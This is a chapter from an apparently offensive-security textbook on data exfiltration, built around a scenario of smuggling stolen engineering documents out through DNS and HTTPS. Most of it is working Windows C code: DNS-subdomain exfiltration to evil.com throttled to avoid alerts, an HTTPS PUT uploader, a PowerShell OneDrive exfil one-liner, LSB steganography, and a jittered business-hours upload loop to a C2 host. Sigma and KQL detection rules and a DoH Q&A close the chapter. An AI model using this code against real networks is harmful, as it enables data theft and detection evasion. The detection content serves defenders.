Chapter 174

Data Exfiltration Techniques

Exfiltration is the last mile: moving data from a network perimeter to operator-controlled infrastructure while evading DLP, egress filtering, and anomaly detection. The channel chosen — DNS, HTTPS, steganography, cloud storage APIs — must match the allowed outbound traffic profile of the target environment. Volume, timing, and encoding all affect detection probability.

Scenario

You have exfiltrated 200MB of engineering documents from an air-gapped segment that can only reach the internet via a proxy allowing port 443 to approved hostnames and outbound DNS to 8.8.8.8 and 8.8.4.4. No direct TCP connections to arbitrary IPs are allowed. You need to tunnel data out through DNS queries and/or HTTPS to a CDN-fronted hostname that appears legitimate to the proxy's SNI inspection.

Exfil Channel Comparison

ChannelBandwidthDetection riskBlocked by
DNS TXT/A queriesVery low (~100 KB/min)Low — DNS rarely DLPedDNS filtering / query rate limits
HTTPS to C2HighMedium — proxy inspectionTLS inspection + DLP on content
HTTPS to cloud (OneDrive, GDrive, S3)HighLow — trusted destinationsCASB, OAuth scope restriction
Steganography in image uploadLow–mediumVery low — no anomaly on imageCASB with steg detection (rare)
ICMP payloadLowMedium — ICMP rarely carries dataStateful firewall blocking ICMP payload
SMB to external file shareHighHigh — unusual port 445 egressMost enterprise firewalls block 445 outbound

DNS Exfiltration

DNS exfil: encode data in subdomains of attacker-controlled domain Client (victim) Attacker DNS server │ │ │── A query: [chunk_b64].[seq].[tag].evil.com ──►│ │ │ Authoritative DNS parses subdomains │◄── NXDOMAIN or spoofed A record ────────│ Server reassembles chunks │── A query: [next_chunk].[seq+1].[tag].evil.com ►│ │◄── ACK or NXDOMAIN ────────────────────│ Constraints: Max subdomain label: 63 chars (each base32/hex encoded chunk) Total FQDN: 253 chars max Usable per query: ~180 chars after domain name overhead Speed: limited by DNS TTL and recursive resolver caching
// DNS exfil: send data as base32-encoded subdomains.
// Uses DnsQuery_W to send queries (Windows DnsAPI).
// Python server side: authoritative DNS for evil.com, parse subdomains.

#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")

// Base32 encoding (RFC 4648, no padding) for DNS-safe characters
static const char B32[] = "abcdefghijklmnopqrstuvwxyz234567";

VOID Base32Encode(const BYTE* in, DWORD inLen, char* out) {
    int bits = 0, accum = 0, pos = 0;
    for (DWORD i = 0; i < inLen; i++) {
        accum = (accum << 8) | in[i]; bits += 8;
        while (bits >= 5) { bits -= 5; out[pos++] = B32[(accum >> bits) & 0x1F]; }
    }
    if (bits) out[pos++] = B32[(accum << (5-bits)) & 0x1F];
    out[pos] = 0;
}

VOID DnsExfilChunk(const BYTE* data, DWORD len,
                    DWORD seq, const char* domain) {
    char encoded[128]; Base32Encode(data, len, encoded);
    char fqdn[256];
    sprintf_s(fqdn, "%s.%04u.x.%s", encoded, seq, domain);
    // Convert to wchar
    WCHAR wFqdn[256];
    MultiByteToWideChar(CP_ACP, 0, fqdn, -1, wFqdn, 256);
    PDNS_RECORD pRec;
    // DnsQuery fires a real DNS query — goes through OS resolver → external DNS
    DnsQuery_W(wFqdn, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, &pRec, NULL);
    if (pRec) DnsRecordListFree(pRec, DnsFreeRecordList);
}

VOID DnsExfilFile(const BYTE* payload, DWORD payloadLen,
                   const char* domain) {
    const DWORD CHUNK = 40;  // 40 raw bytes → ~64 base32 chars
    DWORD seq = 0;
    for (DWORD off = 0; off < payloadLen; off += CHUNK, seq++) {
        DWORD sz = min(CHUNK, payloadLen - off);
        DnsExfilChunk(payload + off, sz, seq, domain);
        Sleep(1500);  // rate-limit: ~1 query/1.5s avoids query burst alerts
    }
    // Send terminator: "fin.TOTAL_SEQ.x.domain"
    WCHAR fin[256]; swprintf_s(fin, L"fin.%04u.x.%hs", seq, domain);
    DnsQuery_W(fin, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, NULL, NULL);
}

HTTPS Exfiltration to Cloud Storage

// Upload directly to OneDrive via Microsoft Graph API.
// Advantages: HTTPS 443 to microsoft.com — passes most proxy allowlists.
// The token is embedded or obtained via device code flow during initial access.
// CASB tools can see the upload content if they inspect Graph API calls.

// PowerShell one-liner for quick exfil:
// $headers = @{Authorization = "Bearer <ACCESS_TOKEN>"}
// $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.zip"))
// Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/data.zip:/content" `
//                   -Method PUT -Headers $headers `
//                   -Body ([Convert]::FromBase64String($content)) `
//                   -ContentType "application/octet-stream"

// C implementation via WinHTTP to arbitrary HTTPS endpoint:
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

BOOL HttpsUpload(LPCWSTR host, LPCWSTR path,
                  const BYTE* data, DWORD dataLen) {
    HINTERNET hSession = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebRequest/537",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
    HINTERNET hConn = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hReq  = WinHttpOpenRequest(hConn, L"PUT", path,
        NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    WinHttpAddRequestHeaders(hReq,
        L"Content-Type: application/octet-stream", -1L,
        WINHTTP_ADDREQ_FLAG_ADD);
    WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                        (LPVOID)data, dataLen, dataLen, 0);
    WinHttpReceiveResponse(hReq, NULL);
    DWORD status = 0, sz = sizeof(DWORD);
    WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE|WINHTTP_QUERY_FLAG_NUMBER,
                         NULL, &status, &sz, NULL);
    WinHttpCloseHandle(hReq); WinHttpCloseHandle(hConn); WinHttpCloseHandle(hSession);
    return (status == 200 || status == 201);
}

Steganography in Images

// LSB steganography: hide data in the least-significant bit of each color channel.
// A 1920x1080 RGB image can hold 1920*1080*3 / 8 = ~777KB of hidden data.
// Uploaded to an image hosting service — appears to be a normal screenshot.
// Statistical detection: chi-square test can detect LSB steg in uniform areas.

// Embed payload into BMP pixels (24-bit, no compression):
VOID LsbEmbed(BYTE* pixels, DWORD pixelCount,
               const BYTE* payload, DWORD payloadLen) {
    // Prepend 4-byte length header
    BYTE header[4] = {
        (BYTE)(payloadLen >> 24), (BYTE)(payloadLen >> 16),
        (BYTE)(payloadLen >>  8), (BYTE)(payloadLen)
    };
    DWORD pixIdx = 0;
    auto embedByte = [&](BYTE b) {
        for (int bit = 7; bit >= 0; bit--) {
            pixels[pixIdx] = (pixels[pixIdx] & 0xFE) | ((b >> bit) & 1);
            pixIdx++;
        }
    };
    for (int i = 0; i < 4; i++) embedByte(header[i]);
    for (DWORD i = 0; i < payloadLen; i++) embedByte(payload[i]);
}

// Extract:
VOID LsbExtract(const BYTE* pixels, BYTE* out, DWORD maxOut) {
    DWORD pixIdx = 0;
    auto extractByte = [&]() -> BYTE {
        BYTE b = 0;
        for (int bit = 7; bit >= 0; bit--)
            b |= (pixels[pixIdx++] & 1) << bit;
        return b;
    };
    DWORD len = ((DWORD)extractByte()<<24)|((DWORD)extractByte()<<16)
               |((DWORD)extractByte()<<8)|extractByte();
    len = min(len, maxOut);
    for (DWORD i = 0; i < len; i++) out[i] = extractByte();
}

Chunking and Rate Limiting

// DLP and anomaly systems alert on: large single transfers, unusual transfer times,
// high query rates (DNS), and destinations not seen in baseline.
// Mitigations: small chunks, long delays, randomized timing, blend with normal traffic.

VOID ThrottledExfil(const BYTE* data, DWORD total) {
    const DWORD CHUNK_SZ   = 64 * 1024;   // 64KB per chunk
    const DWORD MIN_DELAY  = 30000;       // 30s minimum between chunks
    const DWORD JITTER_MS  = 15000;       // ±15s random jitter

    DWORD sent = 0;
    while (sent < total) {
        DWORD chunkLen = min(CHUNK_SZ, total - sent);
        HttpsUpload(L"c2.example.com", L"/upload", data + sent, chunkLen);
        sent += chunkLen;

        // Only exfil during business hours (9 AM – 5 PM) to blend with normal traffic
        SYSTEMTIME st; GetLocalTime(&st);
        if (st.wHour < 9 || st.wHour >= 17) {
            Sleep(3600000);  // wait 1h, recheck
            continue;
        }
        DWORD delay = MIN_DELAY + (rand() % JITTER_MS);
        Sleep(delay);
    }
}

Detection Engineering

title: Anomalous DNS Query Volume from Single Host (DNS Exfil)
logsource:
  product: dns
detection:
  selection:
    QueryType: 'A'
  condition: |
    selection | count() by SourceIp, QueryName | threshold(field=QueryName, count > 500, timespan=10m)
level: high
tags: [attack.exfiltration, T1048.003]

title: Long DNS Subdomain (Data Encoded in DNS Query)
logsource:
  product: dns
detection:
  selection:
    QueryName|re: '^[a-z2-7]{20,}\\.'  # base32 in first label
  condition: selection
level: medium

-- MDE KQL: large HTTPS upload to uncommon destination
DeviceNetworkEvents
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| summarize
    total_bytes = sum(SentBytes),
    sessions = count()
  by DeviceName, RemoteUrl, bin(Timestamp, 1h)
| where total_bytes > 50000000  // 50MB threshold
| where RemoteUrl !has "microsoft"
      and RemoteUrl !has "windows"
      and RemoteUrl !has "office"
| order by total_bytes desc

-- DNS: high subdomain entropy (encoded exfil)
DnsEvents
| where TimeGenerated > ago(1h)
| extend firstLabel = extract('^([^.]+)\.', 1, Name)
| extend labelLen = strlen(firstLabel)
| where labelLen > 30
| summarize count(), make_set(Name) by Computer, bin(TimeGenerated, 5m)
| where count_ > 20

Q&A

How does DNS-over-HTTPS (DoH) affect both the attacker's DNS exfil strategy and the defender's ability to monitor DNS exfiltration?

DNS-over-HTTPS changes the fundamental visibility model for DNS in enterprise environments. Traditional DNS queries are plaintext UDP/53 flows that network sensors, DNS servers, and proxy logs can all inspect. When an endpoint uses DoH — sending encrypted DNS queries to a DoH resolver over HTTPS/443 — the organization's internal DNS resolver never sees those queries. The queries are indistinguishable from any other HTTPS traffic to the DoH provider's IP address.

For the attacker using DNS exfiltration, DoH is double-edged. On one hand, if the target environment uses DoH, the attacker's DNS queries to their C2 authoritative server may also be DoH-forwarded, which means enterprise DNS monitoring tools simply do not see them — a significant evasion gain. On the other hand, enterprise environments that enforce proxy-based internet access typically block direct UDP/53 and TCP/853 (DoT) to external resolvers and may also block HTTPS to known DoH providers (Cloudflare 1.1.1.1, Google 8.8.8.8, NextDNS). If DoH to the attacker's domain is not specifically allowed, the attacker must still use the internal recursive resolver and the exfil is visible.

For defenders, the correct response to DoH is not to try to monitor DNS traffic but to: (1) Enforce DNS resolver policy — all DNS must go through the corporate resolver, block UDP/53 outbound except from authorized resolvers, and block port 443 to known DoH provider IPs; (2) Monitor for endpoints making DNS-over-HTTPS connections by watching for HTTPS connections to known DoH provider IP ranges; (3) Implement DNS RPZ (Response Policy Zones) at the corporate resolver to block queries to known C2 domains; (4) Accept that some DoH exfiltration will evade traditional DNS monitoring and compensate with volume anomaly detection on HTTPS egress flows instead. The monitoring surface shifts from DNS logs to HTTPS volume + destination analytics.